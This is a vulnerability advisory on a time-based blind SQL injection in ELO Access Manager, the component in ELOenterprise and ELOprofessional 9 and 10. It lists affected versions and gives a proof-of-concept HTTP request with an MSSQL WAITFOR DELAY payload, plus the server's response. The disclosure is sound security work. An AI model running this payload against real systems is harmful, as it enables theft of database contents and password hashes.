# Title: Elektronischer Leitz-Ordner 10 - SQL Injection
# Author: Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG
# Software: https://www.elo.com/en-de/
# CVE: N/A
# Affected Products:
# ELOenterprise 10 (ELO Access Manager <= 10.17.120)
# ELOenterprise 9 (ELO Access Manager <= 9.17.120)
# ELOprofessional 10 (ELO Access Manager <= 10.17.120)
# ELOprofessional 9 (ELO Access Manager <= 9.17.120)



# Description:
# ELO is a commercial software product for managing documents and
# electronic content. Storage and organization is similar to classic
# paper-based document management. ELO belongs to the category of document
# management (DMS) and enterprise content management systems (ECM). DMS
# and ECM systems enable audit-proof archiving of documents and
# information requiring storage.

# We have discovered a time-based blind SQL injection vulnerability in the
# ELO Access Manager (<= 9.17.120 and <= 10.17.120) component that makes
# it possible to read all database content. The vulnerability exists in
# the HTTP GET parameter "ticket". For example, we succeeded in reading
# the password hash of the administrator user in the "userdata" table from
# the "eloam" database.

# Proof of Concept:

GET
/wf-NAME/social/api/feed/aggregation/201803310000?ticket=XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
IF(UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS
NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN
(SELECT TOP 7 name FROM master..sysdatabases ORDER BY name) ORDER BY
name),5,1))>104) WAITFOR DELAY '0:0:1'--
qvAV&after=1523013041889&lang=de&_dc=1523013101769 HTTP/1.1
Accept-Encoding: gzip,deflate
Connection: close
Accept: */*
Host: server:9090
Referer: http://server:9090/wf-NAME/social/api/feed/aggregation/201803310000
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv: 59.0) Gecko/20100101
Firefox/59.0

HTTP/1.1 401 Unauthorized
Server: Apache-Coyote/1.1
Content-Type: application/json;charset=UTF-8
Content-Length: 410
Date: Fri, 06 Apr 2018 11:57:15 GMT
Connection: close

{"error":{"code":401,"message":"[TICKET:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\u0027
IF(UNICODE(SUBSTRING((SELECT TOP 1 ISNULL(CAST(name AS
NVARCHAR(4000)),CHAR(32)) FROM master..sysdatabases WHERE name NOT IN
(SELECT TOP 7 name FROM master..sysdatabases ORDER BY name) ORDER BY
name),5,1))\u003e104) WAITFOR DELAY \u00270][ELOIX:2001]Sitzungskennung
ung..ltig oder abgelaufen. Melden Sie sich neu an.[NO-DETAILS]"}}